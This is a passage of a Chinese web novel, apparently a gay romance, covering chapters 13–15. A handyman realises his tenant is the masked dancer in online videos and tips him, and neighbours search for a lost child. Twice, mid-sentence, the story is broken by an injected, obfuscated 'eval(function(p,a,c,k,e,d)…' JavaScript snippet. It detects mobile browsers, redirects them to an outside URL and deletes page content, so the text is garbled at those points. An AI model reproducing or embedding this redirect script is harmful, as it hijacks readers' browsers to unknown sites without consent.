偷窥被抓了个正着,陆柏安心一下提到了嗓子眼,抬了下脚正想后退,眼前的画面却发生了变化。 轮椅上的病秧子缓缓低下头,埋进了梁知的大腿。 梁知的身体颤了一下,清冷的眸子瞬间浮起一层水雾。他的手指插进病秧子的头发里,指腹轻轻摩挲着发丝,可那双眼睛,却依旧一眨不眨地盯着门缝外的人,眸光沉沉,看不出情绪。 陆柏安喉结狠狠滚动了一下,能清晰感觉到自己某个地方正在朝不受控制的方向走,像有团火在烧,越烧越旺。 对方像是察觉到了他的变化,沉默片刻,殷红的嘴唇微微张开,吐出一小节舌尖,轻轻舔舐下唇,从左到右,唇色被濡湿后愈发鲜艳。 “艹!”陆柏安咬了咬牙,再也忍不住,“砰”的一声推开面前的门,正要大步跨进去—— 猛地,他睁开了眼。 外面天光大亮,阳光透过窗帘缝隙洒进来,在地板上投下斑驳的光影。他住的房子在三楼,窗外有棵高大的梧桐树,树叶被风吹得沙沙作响,还夹杂着清脆的鸟叫,一派岁月静好。 陆柏安愣了两秒,眼神空洞地望着天花板,才后知后觉地意识到自己做了什么梦,脸色唰地一下黑透。 他昨晚就不该去修那根水管! 臭着脸穿好衣服,臭着脸刷完牙,臭着脸洗完内裤。最后出门时,他臭着脸甩上大门,“砰”的一声巨响,墙皮簌簌往下掉了几片白屑。 . 林小满刚把两箱矿泉水搬进冰柜,此刻瘫坐在店门口的小马扎上一手啃着白馍,一手刷着短视频。远远瞧见陆柏安走过来,眉头拧得能夹死蚊子,不知道的还以为他被谁刨了祖坟。 “咋了这是?”林小满含糊不清地喊了一声。 陆柏安瞥了他一眼,没吭声。 他咬着白馍,从身后的塑料袋里又掏出一个递过去:“吃不?” “吃不下。”陆柏安绷着脸,头也不回地进了店。 林小满嘀咕了句“大清早的吃枪药了”,低下头继续刷视频。 一上午,陆柏安的小铺子倒是热闹。先是不死心来给他做媒的张姐,接着是蹦蹦跳跳来问他觉得自己昨天表现怎么样的方桃,还有几个是来送活儿的顾客。 下午接到个老主顾的电话,对方说家里线路出了点问题急着让他去修。陆柏安抓起工具箱就出了门,想了想没拉下卷帘门。 等他忙完回来时已是下午四点多,他把工具箱往墙角的原位一放,视线不自觉地在铺子里扫了一圈。 桌子上,竹椅上,水泥地上。 什么都没有。 他皱着眉掏出手机,点开与梁知的聊天框,视线停留在两人昨天晚上最后的对话上,确认自己当时对梁知提出的问题做出的答案是「还行」两个字而不是别的什么。 所以,桂花糕呢? 他盯着那聊天界面看了又看,手指无意识地摩挲了几下屏幕边缘,半晌,烦躁地啧了一声,把手机狠狠揣回裤兜。 门外突然传来一阵喧嚣,他不耐烦地凑到门边往外瞥了一眼,几十米外的纹身店门口围了一群人,叽叽喳喳的,像是在争吵。 他走过去一看,那群人染着五颜六色的头发,看着像是学生。最中心的是个黄头发小子,脸蛋白白净净的像个瓷娃娃,可身上穿得着实夸张。 头上别了枚银色的骷髅头发卡,黑色T恤印着血红的骷髅头涂鸦,领口被剪得又大又烂,下面是条黑色破洞工装裤,裤腿上贴满了五颜六色的补丁,膝盖处的破洞大得能塞进拳头。 小孩打嘴仗,没劲。陆柏安有些无聊地转头就想走。 “死渣男!你不要再缠着我了!” 陆柏安脚步猛地顿住,神色怪异地回头。只见说话的正是那个黄毛小子,他双手抱胸,高昂下巴瞪着面前的男生:“我已经有新男朋友了!” 全场瞬间寂静,连风吹过的声音都听得见。 陆柏安拧起眉头,眼睁睁看着那黄毛小子猛地冲进纹身店里,几秒后又拽着一个男人走了出来,二话不说就偏头在男人嘴上亲了一口,还故意发出响亮的一声“mua”。 做完这一切,黄毛转头,一脸得意地看着对面的男生:“看见没?这是我对象!比你高比你帅,比你粗比你长比你……” 后面的话没能说出口,身旁的男人伸手捂住了他的嘴。黄毛还不甘心地瞪着眼睛,含糊地呜呜两声。 陆柏安凌乱在原地,一时不知道该惊讶这小孩年纪不大却能说出如此惊世骇俗的话,还是该诧异那个被同性亲了一口却依旧一脸淡定的男人,竟然是他的朋友。 几秒后,他看着施泽松开手,黄毛对着那男生做了个鬼脸,挥挥手把那群五颜六色头发的学生打发走,然后挽着施泽的胳膊像只得胜的小孔雀一般大步流星地走进纹身店。 陆柏安在原地站好一会儿,才慢慢走回自己的铺子,坐在桌前开始拧上午王大爷送来的那台老式电风扇的固定螺丝。可他握着扳手半天,螺丝愣是没怼进螺孔里。 靠。 他闭了闭眼,咬牙。 同性恋。 伤风败俗的同性恋。 . 今天的传单是一家家居建材城的推广,领完工钱后,梁知没像往常一样转身就往公交站台走,反而拐了个弯进了大地河农贸市场深处。 市场尽头的角落里有个十元店,门头窄窄的,褪色的红招牌上写着“全场十元”,后面跟着个小小的“起”字,不仔细看根本发现不了。店里从针头线脑、塑料盆碗到廉价饰品、日用百货,乱七八糟堆在一起。 打从他来这附近兼职发传单的第一天起,这家店就一直挂着条皱巴巴的横幅,印着“最后一天,清仓大甩卖”。但今天似乎是真的最后一天了,店里的东西都在折价抛售。 梁知走进去在货架间慢慢踱步,最后在最里面一排袜子旁停下,从一堆花花绿绿的袜子里挑了一双黑色丝袜。 “老板,这个多少钱?” 老板正低头算账,头也没抬,只瞥了他一眼,含糊地应道:“八块。” 比之前标价的十五块,整整便宜了七块。梁知默默掏出手机付了钱,把装着黑丝的透明塑料袋揣进塑料袋里。 回到百乐街路过一道巷口,才发现有截路的路灯坏了,黑漆漆的一片,只有远处商铺的霓虹灯漏进来一点微弱的光。梁知没太在意,只顾着往前走,却突然然听见身后传来一阵窸窸窣窣的声音。 他神情瞬间戒备起来,脚步猛地放慢,后背绷得紧紧的。回头一看,却不是什么变态跟踪狂,而是上回遇见的那条小土狗。 对方正伸着舌头,亮晶晶的黑眼睛直勾勾地盯着他,尾巴有气无力地轻轻晃了晃。 梁知看了它一眼,转过身继续往前走,结果那小狗竟跟了上来,又像上回那样,他走它就迈着小碎步跟,他停它也立刻停下,不远不近地缀在他身后两米远的地方。 “我这回没有东西给你吃。”他终于停下脚步回头看它。 小狗歪了歪头,耷拉着的耳朵抖了抖,不知道有没有听懂。 梁知再次转过身,这回小狗却没跟上来。他走出几步,脚下踩到一片光亮,才发现自己已经走出了没有路灯的范围。 他转回头,看见小狗孤零零地站在黑暗与光亮的交界处,像一尊小小的毛茸茸的剪影。 他盯着对方沉默了几秒,小狗接受到他的注视,颠颠地跑了过来,停到他脚边。 梁知弯下腰伸出手,在那颗毛茸茸的头上轻轻摸了一把。小狗眯起眼睛,喉咙里发出咕噜咕噜的声响。 . 陆柏安的心情很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184921|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复杂。傍晚,他复杂地拉下卷帘门,复杂地回到家,复杂地躺到床上,又复杂地闭上眼。 一个小时后,眼皮却又猛地睁开,眼神一片清明。 睡不着,根本睡不着。 他坐起身摸过床头柜上的烟盒抽出一根点燃,烟雾缭绕中,手机突然震了一下。 林小满:「给我点个赞啊!」 林小满:「【视频链接】」 点开一看是林小满今天新发的团购视频,开头龇着牙傻笑,身后是餐馆的招牌,没什么新意。直到一个空镜头切到后厨,一个拍蒜的特写闪过。尽管只露出一截手指,也能一眼认出那是梁知。 陆柏安叼着烟来回拉了三遍进度条,烟烧到过滤嘴烫了指尖才猛地回神,下意识地甩了甩手。 点了个赞后退出,他随手开始刷起别的视频,一开始都是些搞笑段子,勉强能分散注意力,可越往下刷越不对劲。 #男同第一次doi必看指南!准备做足,新手秒变老司机# #理性分析,现实生活中遍地飘0的终极真相# #被父母发现性取向后,我和他的三年地下拉锯战# 大数据未免也太可怕。陆柏安皱着眉飞快地点了几条不感兴趣,随后把烟摁灭在烟灰缸里,火星溅起又熄灭,他揉了揉发胀的太阳穴,正准备放下手机睡觉,手指却一个打滑,错点进了同城页面。 澜溪县只是个巴掌大的小县城,同城推荐里翻来覆去就那几样老掉牙的内容,配乐也透着股浓浓的乡土气,陆柏安不怎么感兴趣,手指已经悬在返回键上,同城视频却猝不及防地自动播放起来。 画面里是个跳舞的女人。她戴着黑色口罩,将大半张脸遮得严严实实,只露出一双眼。身上穿的红色短裙短得堪堪遮住大腿根,一双黑色丝袜紧紧裹着双腿,正对着镜头扭腰摆胯。 陆柏安眯起眼,眉头不自觉地蹙起,越看越不对劲。视线往下移,落在背景里那床头挂着的星空挂画,蓝白相间的底色,边角还缺了个小口,怎么瞧着这么眼熟? 他反复将视频拉回那个画面看了几遍,随后猛地坐直身体,又点进这人的主页。 翻完主页里的多条视频,他彻底肯定了,那副星空挂画是他前年在夜市二十块钱淘的,偶尔出镜的床头是他当初特意选的实木款。这分明就是他租出去的那间一居室! 那这个女人是……? 他皱紧眉头,逐条翻看这人的视频,最近几条视频全是在同一个房间拍的,对方始终戴着口罩,从未露过全脸,身上就两条裙子换着穿,一条黑的,一条红的。 每一个视频都在跳舞,配乐全是最近流行的动感舞曲。最开始的几条动作格外僵硬,可越往后,动作虽依旧算不上流畅,却明显大胆了些,扭摆的幅度更大。 他记得当初帮梁知搬家时根本没有什么年轻女性,不解地在屏幕上胡乱上下翻页,却不小心放大了画面,镜头瞬间拉近,怼在了对方的上半身。 陆柏安眉头紧锁,正要双击屏幕点回原状,目光却突然一顿。 视线从那截随着呼吸微微起伏的脖颈上缓缓往下滑动,定格在锁骨下方偏左的位置。那里嵌着一颗小小的红痣,在白皙的皮肤映衬下格外扎眼。 陆柏安下意识将视频又放大了些,死死盯着那颗红痣,脑子飞速运转。 在哪见过? 一段模糊的记忆碎片突然冒了出来。 不可能吧? 他甩了甩头,试图驱散这荒唐的念头,可目光却不由自主地从那颗红痣移到那双露在外面的眼睛上。 呼吸莫名越来越沉,他把手机凑得更近,将视频进度条一点点往回拉,反复对比着视频里的眼睛和记忆中人的模样,眼尾微微上挑的弧度,泛着淡淡琥珀色的瞳孔,一遍又一遍,每一次重合,都让他心脏狂跳一分。 “艹!” 片刻后,陆柏安猛地从床上弹坐起来,手机差点从手里滑落在地。 这除了梁知,还能是谁! 14. 14 凌晨一点,陆柏安家的热水器断断续续启动了三次,最后一次关水时,手掌心被磨得通红。 光着上半身,未干的水珠顺着麦色肌理往下滑,没入裤衩,他重重摔坐在沙发上,视线落在茶几上那个孤零零的橘子上。 盯了半晌,他猛地抓过来撕开橘皮,剥着橘瓣往嘴里塞,而另一只手抓起手机,目光死死钉在屏幕上。 确认视频里的人就是梁知后,他再也没法用正常心态看待这些内容。 好端端的一个男人,竟然穿着裙子在网上发这种不雅的视频,真是…… 他叼着橘瓣,磨了磨后槽牙,指尖却不听使唤地又点开那个已经被他翻烂的主页。 最新一条视频里,梁知穿着条黑丝,镜头拉近,黑色布料紧紧贴在腿上,勾勒出纤细的腿型。 陆柏安牙齿狠狠一咬,橘瓣被嚼得稀烂,汁水顺着喉咙往下淌,甜得他喉咙发紧,喉结猛地上下滚动了一下,从牙缝里挤出两个字:“做作。” 再划一条,梁知撩了撩那头假发,对着镜头有些僵硬地比了个心。 “搔首弄姿。” 再划一条,屏幕里的人跟着动感节拍左右扭胯,晃到兴起时,他抬手往空中一扬,裙摆猛地往上掀,露出大半截白皙大腿。 视频自动循环到第二遍,梁知扭胯的动作再次重复,陆柏安才猛地回神。 “妖里妖气……” 话音落下,他陷入短暂的沉默。 人家做什么、穿什么,跟他有半毛钱关系?可偏生有股莫名的烦躁像藤蔓似的缠上来,甩都甩不掉。最终,他只能把这一切归咎于最近天气变热,肝火太旺的原因。 片刻后,他又划回账号主页,再次点进最新发布的视频。刚才只顾着看画面了,此刻目光下移,才瞥见梁知配的文案是:「感谢我爱吃香菜送的棒棒糖,今天跳快乐摇」。 棒棒糖?快乐摇? 陆柏安满脑子问号,耐着性子翻了上一条视频的评论才总算搞明白,是个网名叫“我爱吃香菜”的用户给梁知打赏了虚拟礼物,还特意指定要他跳快乐摇这支舞。 与此同时他这才注意到视频左下角有个小小的礼物图标,好奇心驱使他点进去,屏幕上方顿时弹出一排排花花绿绿的虚拟礼物。 陆柏安以前刷视频向来只看内容,从没留意过这些花里胡哨的东西。目光在礼物列表里漫无目的地扫了圈,最后停在一个粉白相间的蛋糕图案上。蛋糕很精致,奶油顶上缀着颗小红樱桃,动画预览里还会飘出细碎的糖霜。 没多想,他试着点了下。下一秒,支付界面猛地弹出来,他下意识低骂出声:“这么坑?” 一个不能吃不能碰的假蛋糕就要一百块,比楼下蛋糕店的真奶油蛋糕还贵,这不是抢钱是什么?谁会在网上送这玩意儿,这不纯纯冤大头吗? 吐槽的话还没在脑子里过完,手指不知道是蹭到了哪儿,猛地,界面自动弹出一个人脸支付的小框。 镜头亮起,冷白的光打在他脸上,映出他错愕的眉眼。陆柏安一怔,迟疑着要不要偏头躲开,可这念头刚冒出来,系统识别的速度已经快了一步。 “嘀”的一声轻响,支付成功的提示跳出来。 屏幕上瞬间飘起粉白的蛋糕特效,伴着「用户886886赠送zz樱桃蛋糕×1」一串闪瞎眼的大字。 ……疯了吗? 陆柏安后知后觉意识到自己做了什么,盯着那漫天飘洒的糖霜特效,眉头拧成了疙瘩,想去按退出键,又手忙脚乱点进了评论区。 最新一条评论是系统自动生成的他的打赏通知,下面已经冒出来一条新回复:「哇,突然空降个老板!」 他嘴角抽了抽,索性随手点开梁知首页的礼物排行榜。本想看看自己这一百块能排到哪,没想到不过一个蛋糕,居然直接让他窜到了榜首。 往下翻了翻,给梁知打赏的人总共没超过十个,大多是送几毛钱的小心心,加起来的金额还不到他这一个蛋糕的一半。 陆柏安盯着头像旁的榜一标识沉默了两秒,喉结滚了滚,又点回送礼界面。 跑车、飞船、独角兽…… 人脸支付的界面在他面前一下又一下弹出,“嘀”“嘀”“嘀”的提示音接连响起。直到界面归于平静,才后知后觉点进账单,一眼扫到总额——五百块。 “艹!”陆柏安猛地把手机往沙发上一丢。 妈的,邪门了。 当晚,陆柏安整个人在床上翻来覆去,折腾到后半夜才勉强合眼,第二天直接睡到下午。 昨天发生的一连串事冲击力太大,但眼下生计要紧。今天有个上门的活儿,地方离百乐街不算很近,他带着工具箱骑上林小满的电动车突突地穿行在车流里,二十多分钟后,终于钻进一片迷宫似的城中村。 他按着地址找到指定的居民楼爬到三楼,来开门的是个一脸倦意、三十多岁的女人。 一进门,一股浓烈的烟味夹杂着汗味扑面而来。客厅里摆着一张破旧的方桌,四个男人光着膀子围在桌边打牌,听见动静,他们抬眼扫了陆柏安一下,随即又低下头继续吆喝着出牌。 来之前已经了解过情况,是厕所里的热水器突然出不了热水了。陆柏安在女人的带领下进了一个狭小仄逼的厕所,打开箱子,拿出工具开始检查。 忙活到一半,门口传来一阵细碎的脚步声,陆柏安回头一看,只见一个七八岁的小男孩正扒着门框怯生生地往里看。对方穿着一件不合身的蓝色T恤,袖口卷了好几圈,头发乱糟糟的,见陆柏安望过来,他立刻抿紧嘴唇,往后缩了缩,却没躲开。 客厅里突然传来女人拔高的声音:“陈迅!你能不能别打你那破牌了?” 一个吊儿郎当的男声懒洋洋地回应:“又怎么了?没看见我正摸到兴头上吗?” “牌重要还是儿子重要?你没看见儿子不对劲吗?这几天走路都怪怪的。” “多大点事儿,一惊一乍的。我看他就是不想上学,装的。别打扰我打牌。” 陆柏安手上动作没停,朝门口的小男孩看了过去。听到爸爸妈妈争吵,小男孩瑟缩了一下。他仔细打量起对方,发现对方单腿有些弯曲,胳膊好像也有些僵硬。 外面的争吵愈演愈烈,两人的怒骂声和牌桌被掀翻的声响混在一起,乱成一团。 “你们几个都给我滚!一天天不找工作,就知道来我家里打牌,要打出去打!” 陆柏安皱紧眉,手里的工具放了下来,虽然他不爱管闲事,可好歹是顾客,家里闹成这样,万一出点意外也不好。 他直起身刚要跨出厕所,就听见外面几个男人骂骂咧咧地摔上了门,客厅里暂时安静下来。 陆柏安顿了顿,又退回原位继续干活。没几分钟热水器就修好了,他打开开关试了试,然后收拾好工具箱走出厕所,只见客厅里一片狼藉,牌桌被掀翻在地,纸牌散落各处,烟蒂和纸屑扔得满地都是。 那个被叫陈迅的男人正神色不耐地瘫坐在沙发上,一边刷手机一边抽着烟。 女人正弯腰收拾着地上的狼藉,嘴里也骂骂咧咧的,瞥见陆柏安出来,勉强换了个表情:“师傅,多少钱?” 陆柏安报了价格,女人连忙去拿钱。与此同时沙发上的男人抬眼看向他,四目相对的瞬间,陆柏安莫名觉得这张脸让他觉得有些眼熟。 他没多想,收了钱后就要走。路过客厅角落时,看到那个小男孩正站在一面白墙边一动不动地盯着墙壁,不知道在看什么。 对方突然抬起头看了他一眼,见陆柏安在看他,又立刻低下头,低头的动作缓慢又僵硬,有点奇怪,像被按了慢速键一样。 陆柏安收回目光转身离开,跨上车发动引擎后还没开走几分钟,口袋里的手机就一直响个不停,一开始他没理会,可那铃声跟催命似的,响了一遍又一遍,无奈之下只好停在路边掏出手机。 “快快快……” “怎么了?你急着用车?我在回来的路上。” “不不不……不是用车!”电话那头的林小满急得声音都破了,“是小五!小五不见了!” 陆柏安神色一凝。 林小满很快在电话里说清了来龙去脉,儿童节表演结束幼儿园放假那天,梅姐把梅小五送去了她前夫家,结果今天她前夫带梅小五去十字街玩,人挤人,转头就把小五给弄丢了。 电话那头传来梅姐撕心裂肺的哭声,夹杂着铁三星粗声粗气的安慰。林小满忙道:“你快来十字街,我们大伙儿都在往这边赶,你也来搭把手。” 陆柏安挂了电话,二话不说调转了电动车车头。 赶到十字街时,一片人山人海。他和各位街坊汇合,简单交代几句后立刻分头寻找。可一个多小时过去,连梅小五的影子都没见到。 陆柏安眉头越皱越深,直到手机突然震动了一下,微信收到一条图片消息。图里,一个小孩儿正坐在一个花坛边上,晃着肉乎乎的小短腿。 陆柏安看清发消息的人的备注,顿了顿,连忙给众人发了报平安的消息,随后跨上电动车再次疾驰而去。 五分钟后,他抵达到十字街附近的大地河农贸市场,远远就看到一个小小的黄色身影侧坐在花坛边,正是梅小五,悬着的心瞬间落下大半。 但在看到梅小五身边的不明物时,神情又瞬间警惕起来,那是一个高大的棕色玩偶熊,圆滚滚的肚子,耷拉着耳朵,正静静地坐在小五旁边,周围除了他们没有其他人。 “小五!” 梅小五听到声音猛地抬头,看到陆柏安,眼睛瞬间亮了,开心地挥着小手:“陆叔叔!”另一只手里拿着半根碎冰冰。 陆柏安三步并作两步走过去,一把将梅小五捞到身后紧紧护住,眼神锐利地盯着那个玩偶熊:“你……” 话音未落,他顿了一下。 只见那玩偶熊缓缓抬起毛茸茸的爪子,勾住头套边缘,轻轻一掀。头套下,露出一张熟悉的脸。白皙的皮肤在阳光下透着层薄粉,额前的碎发被汗水濡湿,紧紧贴在光洁的额角,几缕发丝垂在脸颊旁,沾着细碎的汗珠,像刚从水里捞出来似的。 是梁知。 他手里攥着另一半碎冰冰,蓝色的包装纸只撕开了一个小口,看起来没动过。 “陆老板,要吃吗?” 陆柏安冷不丁撞进他的眼眸,昨晚视频里的画面瞬间涌入脑海,黑丝、腿环、扭胯的身影,和眼前这张脸重叠在一起,他喉咙发紧,好一会儿才摇摇头。 梁知也不勉强,把碎冰冰凑到嘴边咬了一口,随后开始向陆柏安解释。 他刚才在发传单时,梅小五突然跑过来一直绕着他转,他才发现这小孩有点眼熟,可没有梅姐的联系方式,于是只能给陆柏安发消息。 陆柏安低头看向梅小五,小家伙正舔着手里的碎冰冰,一副浑然不知自己差点让所有人急疯的模样。 他掏出手机给梅姐打了个视频电话,镜头一对准小五,梅姐在那头瞬间哭出了声,反复说着“太好了太好了”,哽咽着叮嘱陆柏安一定要把孩子看好。挂了电话,陆柏安重新看向梁知。 对方那身笨重的棕色玩偶服只取下了头套,厚重的布料裹在身上,这天气,光是站在太阳下就热得难受,更别说穿着这么一身不透气的衣服。 察觉到他的视线,梁知顺着他的目光瞥了眼自己的玩偶服,什么也没说,只是拿起旁边的传单递过去:“最后一张,陆老板能帮我一下吗?” 陆柏安沉默着接过,指尖捏着那张薄薄的纸,上面印着某家新开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184922|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶茶店的买一送一活动,油墨味混着阳光的热气扑面而来。他抬起眼,看向梁知额角的汗珠,抿了抿唇。 什么时候开始的? 每天下班了都过来发传单? 很缺钱吗? “梅姐那边应该很急,陆老板你快带小五回去吧,别让他们担心了。” 陆柏安盯着他泛红的脸颊脱口而出:“一起?” 五分钟后,梁知换完玩偶服,和一直黏着他要和他手牵手的梅小五一起走到陆柏安和电动车旁。陆柏安把梅小五安置在脚踏上站着,又示意梁知坐在自己后面。 梁知抬腿坐了上来,车身微微往下沉了沉。两个成年男人挤在一辆小小的电动车上,空间瞬间变得局促。陆柏安能清晰感觉到身后传来的温热气息,他下意识地微微握紧车把,身体悄悄往前挪了一点,这才发动车子。 电动车缓缓前行,风迎面吹来,驱散了几分汗意。 一路上路过路边的小贩正吆喝着卖西瓜,红瓤绿皮的瓜堆得像小山,甜腻的果香随着风飘过来。 “陆叔叔,我还想吃碎冰冰。”梅小五在前面突然开口。 “今天吃过了,明天给你买。”陆柏安沉声回应,视线不自觉地瞟向后视镜,刚好撞见梁知盯着一旁倒退的景色发呆的模样,额前的发丝被风吹得微微扬起。 他神色未变,收回目光。 行至半路,前方突然有辆车横穿马路,陆柏安猛地捏下刹车。身后的梁知猝不及防,身体瞬间往前倾,胸膛结结实实地撞上了他的后背。 陆柏安浑身一僵,差点加大马力往前冲去。 身后的梁知往后靠,拉开一些距离,说了声抱歉。 陆柏安喉结滚了滚,好半天才找回自己的声音,嗯了一声。 梁知盯着面前男人的背影,发现对方的背突然挺得笔直,布料被撑得微微发紧,勾勒出硬朗的线条,心底突然没由来地冒出个念头:好宽。 二十多分钟后,到了花店门口,陆柏安停下车,众人早已在外等候,梅姐看到小五就冲了过来,一把将孩子搂在怀里哭个不停。 看到孩子安全回来,围观的街坊们纷纷松了口气,七嘴八舌地说着没事就好,寒暄几句便陆续离开了。 铁三星在旁边笨拙地安慰着梅姐,林小满见状拉了拉他的胳膊:“让梅姐和小五单独待会儿。” 几人随着人流走到巷口,林小满在前面叹道:“还好没出事。” 铁三星咬牙切齿:“她前夫到底是怎么看孩子的?” “行了,消消气。”林小满拍了拍他的肩膀,转头对几人发出邀请,“今天找人都辛苦了,咱们等会儿一起去吃个烧烤,算我的。小梁,你也来?今天能找到小五多亏了你,怎么就这么巧,刚好让你碰上了?” 铁三星连忙点头,一脸诚恳:“对对对,必须得好好感谢你!你可千万别客气!” 梁知摇头:“不用谢,举手之劳而已。我就不去了,家里还有事。” 见他坚持,他们也没强留,说那下次一定。 回到出租屋,梁知洗了澡换了衣服,才终于有空拿起手机点开视频软件。一进去,消息通知栏里就弹出好几条醒目的打赏提醒,不由微微一怔。 他反复刷新了两遍确认金额没错,才点开那个名为“用户886886”的账号主页。里面空空如也,没有头像,没有动态,只有一个关注。 手滑? 但连续几次手滑的可能性似乎有些小。 他盯着屏幕看了半晌,长长的睫毛垂下来,点开回复界面,开始认真打字。 梁知走后,陆柏安几人转身进了一旁的王二烧烤店,找了张桌子坐下熟门熟路地点完菜便闲聊起来,话题大多绕着今天小五走失又找回的惊险事,直到烤串陆续端上桌。 林小满抓起一串烤鸡翅大口嚼着,突然眯起眼,若有所思地盯着陆柏安摸了摸下巴:“老陆,你今天黑眼圈有点重啊,大半夜不睡觉偷偷干嘛呢?” 被戳中肺管子的陆柏安脸一黑:“吃你的吧,话多。” 旁边的施泽一直低着头看手机,不知道在忙什么。陆柏安的目光不经意间扫过去,一下就想起了昨天撞见对方和那个黄毛小孩拉扯的场面,嘴唇动了动。 施泽察觉到他的视线,抬起头,眼神平静:“怎么了?” 林小满和铁三星听到这话齐刷刷朝他看来,陆柏安瞥了他们一眼,拿起一串烤五花咬了口,含糊不清地应了句:“没什么。” 施泽哦了一声,重新低下头看向手机。陆柏安也掏出手机,无聊地在主界面滑了一圈,顶部突然跳出几条通知。 【你关注的主播zz回复了你的打赏评论哦,快去看看吧~】 陆柏安手一顿,点了进去。 【zz:谢谢用户886886送的蛋糕[握手][握手][握手]】 【zz:谢谢用户886886送的飞船[玫瑰][玫瑰][玫瑰]】 【zz:谢谢用户886886送的跑车[太阳][太阳][太阳]】 【zz:谢谢用户886886送的独角兽[愉快][愉快][愉快]】 【zz:谢谢用户886886送的烟花[微笑][微笑][亲亲]】 他先前送了五个礼物,系统自动生成了五条对应的打赏评论,梁知便规规矩矩地回复了五条感谢。 陆柏安逐行往下看,目光在最后一条回复上顿住,末尾的emoji与其他的表情格格不入,黄脸小人眼睛弯成两条缝,嘴巴做出一个“3”的形状。 他猛地咳了两声,一口气差点呛在喉咙口。 对面的铁三星问他要不要水,陆柏安摇摇头,飞快地抬手捂住下半张脸,指尖能感觉到脸颊传来的滚烫温度。 15. 15 “有人在网上给你发那种亲嘴的表情,是什么意思?” 这个问题一经提出,桌上正撸串的三人动作齐刷刷一顿,铁三星咬着烤鸡翅的嘴停在半空,林小满手里的签子差点掉在地上,连一直低头看手机的施泽都抬了头,三道目光带着十足的诡异齐齐投向陆柏安。 陆柏安咬了口五花,避开三人的视线。 “亲嘴的表情?”林小满率先反应过来,“什么表情啊?” 陆柏安顿了顿,调出手机里的表情栏,指尖点了点其中一个黄脸小人的emoji,递到他面前。 林小满瞥了一眼:“这个啊,就是表达友好的意思呗。” 陆柏安没说话,眉头微不可察地蹙了下。 “是谁给你发这表情了?” “没谁,就是刷到个视频,里面在讨论这个表情的意思,随便问问。” “哦。”林小满没多想,“现在网上都这样,一群不认识的网友天天把宝宝爸爸妈妈老公老婆当逗号使,发个表情算啥。” “对啊。”铁三星插嘴,“怎么会有视频讨论这个问题,这有什么可值得讨论的?难不成还会有人当真,觉得这真是要跟你亲嘴的意思?哈哈哈哈哈哈哈……” 铁三星笑得前仰后合,哈了半天才发现对面的陆柏安没跟着笑,尴尬地揉揉鼻子。 他看向林小满,与对方使了个眼色:他怎么了? 林小满耸肩:不造啊。 . 梁知推辞林小满和铁三星的邀约并不是因为客套,是真的有事要忙。给陈信做完例行按摩后,他坐到了李月娥身边。 客厅的小方桌上早已摆好了十二块裁好的绸缎、几盒绣花线和绷子,李月娥正戴着老花镜费力地穿针引线。 这算是她摆摊卖鞋垫这些天来第一次接到这么大又这么正式的单子,附近社区老年歌舞团的阿姨们前两天逛早市时看见了她摊位上绣着小花的鞋垫,一眼就相中了她的手艺并订了十二条绣巾,后天她们要去参加全县的歌舞比赛,这绣巾是要穿在演出服外面当装饰的。 灯光柔和地洒在他专注的侧脸上,睫毛在眼睑下投出浅浅的阴影。两人默契地分工合作,客厅里只剩下针线穿梭的细微声响和时钟滴答的走动声,不知不觉就到了凌晨两点。 最后一块绣巾的收尾针落下时,梁知揉了揉发酸的眼睛,活动了一下僵硬的脖颈,终于松了口气。 他帮李月娥把绣巾仔细叠好、装进袋子,洗漱过后,连衣服都没来得及换,倒在床上就沉沉睡去,连梦里都是丝线缠绕的影子。 第二天清晨六点二十闹钟准时响起,他又顶着浓浓的睡意爬起来。 下午两点,快餐店的午高峰彻底散去,他正准备像往常一样往大地河农贸市场赶,却突然被人叫住。转过身一看,一个女人正朝他挥手,脸上带着热情又亲切的笑容。 “梅姐。”他停下脚步,礼貌地打招呼。 梅姐快步走过来,不由分说地拉住他的手腕把他往花店里带:“来,进来坐会儿,姐有话跟你说。” 一走进花店,浓郁的花香便扑面而来,各色鲜花摆放得整整齐齐,空气清新又温柔。 梅姐拉着他在门口的小桌旁坐下,又给他倒了杯水:“小梁啊,昨天真是太谢谢你了,要不是你,我们不知道什么时候才能找到小五。” “梅姐,您太客气了,小五平安就好。” “是是,平安回来就好。”梅姐点点头,突然话锋一转,“我听小五说,昨天你俩碰见的时候,你在大地河那边扮玩偶发单子是吗?” 梁知嗯了一声。 梅姐叹了口气:“大地河那边离咱们这儿可不近,坐公交来回都得两小时吧?现在天越来越热了,穿那种衣服发传单,得多闷多累啊。” 是累的。穿着笨重的玩偶服难受不说,来回挤公交更是煎熬,运气好能抢到座位,运气差时,只能在拥挤的人潮里硬站完全程,他最近有在盘算要不要买辆二手电动车。 “小梁,正巧我这花店要招人,要不你来试试吧?” 梁知一怔,抬眼看向面前的人。 梅姐脸上露出真切的笑:“我这店不大,也就节假日比较忙,其他时间活儿也不重。” “工资你放心,肯定不比你发传单少。也不用你一直在这儿,你平时在快餐店下班后过来就行,我这花店平常六点半就关门了,这样你还能省不少通勤的功夫,不用天天往那边跑,也不用遭那日晒雨淋的罪。” 梁知沉默片刻,问道:“是因为小五吗?” 只是帮了个小忙,竟然能得到这样的机会。工资比发传单高,工作环境又好,还不用来回奔波,能帮他减轻不少经济压力。 “算是,也不算是。我这店里是真的在招人,而且大家现在都是街里街坊的,互相帮衬点是应该的。” “可我对花艺一窍不通,没关系吗?” 